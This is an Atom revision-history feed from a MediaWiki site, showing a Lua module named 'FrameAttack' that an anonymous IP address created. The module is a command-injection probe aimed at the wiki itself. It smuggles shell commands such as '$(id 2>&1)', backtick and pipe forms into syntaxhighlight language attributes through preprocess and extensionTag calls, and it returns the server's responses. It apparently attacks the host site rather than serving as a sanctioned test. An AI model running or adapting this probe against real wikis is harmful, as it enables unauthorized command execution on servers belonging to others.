<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3AFrameAttack</id>
	<title>模块:FrameAttack - 版本历史</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3AFrameAttack"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameAttack&amp;action=history"/>
	<updated>2026-05-13T18:02:30Z</updated>
	<subtitle>本wiki上该页面的版本历史</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameAttack&amp;diff=1017&amp;oldid=prev</id>
		<title>221.237.85.128：​创建页面，内容为“local p = {} function p.test(frame)     local results = {}     local parent = frame:getParent()     if not parent then results[1] = &quot;no_parent&quot;; return table.concat(results, &quot; | &quot;) end      -- Test 1: Preprocess with syntaxhighlight containing command injection     local preprocess_tests = {         &quot;&lt;syntaxhighlight lang=\&quot;python | id 2&gt;&amp;1\&quot;&gt;test&lt;/syntaxhighlight&gt;&quot;,         &quot;&lt;syntaxhighlight lang=\&quot;$(id 2&gt;&amp;1)\&quot;&gt;test&lt;/syntaxhighlight&gt;&quot;,         &quot;&lt;syntaxhighligh…”</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FrameAttack&amp;diff=1017&amp;oldid=prev"/>
		<updated>2026-05-09T06:59:51Z</updated>

		<summary type="html">&lt;p&gt;创建页面，内容为“local p = {} function p.test(frame)     local results = {}     local parent = frame:getParent()     if not parent then results[1] = &amp;quot;no_parent&amp;quot;; return table.concat(results, &amp;quot; | &amp;quot;) end      -- Test 1: Preprocess with syntaxhighlight containing command injection     local preprocess_tests = {         &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;python | id 2&amp;gt;&amp;amp;1\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,         &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;$(id 2&amp;gt;&amp;amp;1)\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,         &amp;quot;&amp;lt;syntaxhighligh…”&lt;/p&gt;
&lt;p&gt;&lt;b&gt;新页面&lt;/b&gt;&lt;/p&gt;&lt;div&gt;local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent then results[1] = &amp;quot;no_parent&amp;quot;; return table.concat(results, &amp;quot; | &amp;quot;) end&lt;br /&gt;
&lt;br /&gt;
    -- Test 1: Preprocess with syntaxhighlight containing command injection&lt;br /&gt;
    local preprocess_tests = {&lt;br /&gt;
        &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;python | id 2&amp;gt;&amp;amp;1\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;$(id 2&amp;gt;&amp;amp;1)\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;&amp;lt;syntaxhighlight lang=\&amp;quot;`id 2&amp;gt;&amp;amp;1`\&amp;quot;&amp;gt;test&amp;lt;/syntaxhighlight&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;{{#expr:1+1}}&amp;quot;,&lt;br /&gt;
        &amp;quot;{{#tag:syntaxhighlight|test|lang=$(id 2&amp;gt;&amp;amp;1)}}&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    for i, pp in ipairs(preprocess_tests) do&lt;br /&gt;
        local ok, out = pcall(parent.preprocess, parent, pp)&lt;br /&gt;
        results[i] = &amp;quot;pp&amp;quot;..i..&amp;quot;=&amp;quot;..tostring(ok)..&amp;quot;:&amp;quot;..tostring(out):sub(1,100)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    -- Test 2: extensionTag directly&lt;br /&gt;
    local ext_tests = {&lt;br /&gt;
        {&amp;quot;syntaxhighlight&amp;quot;, &amp;quot;test&amp;quot;, {lang=&amp;quot;python | id 2&amp;gt;&amp;amp;1&amp;quot;}},&lt;br /&gt;
        {&amp;quot;syntaxhighlight&amp;quot;, &amp;quot;test&amp;quot;, {lang=&amp;quot;$(id 2&amp;gt;&amp;amp;1)&amp;quot;}},&lt;br /&gt;
        {&amp;quot;syntaxhighlight&amp;quot;, &amp;quot;test&amp;quot;, {lang=&amp;quot;`id 2&amp;gt;&amp;amp;1`&amp;quot;}},&lt;br /&gt;
        {&amp;quot;math&amp;quot;, &amp;quot;\\frac{1}{2}&amp;quot;, {}},&lt;br /&gt;
    }&lt;br /&gt;
    for i, et in ipairs(ext_tests) do&lt;br /&gt;
        local ok, out = pcall(parent.extensionTag, parent, et[1], et[2], et[3])&lt;br /&gt;
        results[5+i] = &amp;quot;ext&amp;quot;..i..&amp;quot;=&amp;quot;..tostring(ok)..&amp;quot;:&amp;quot;..tostring(out):sub(1,100)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
</feed>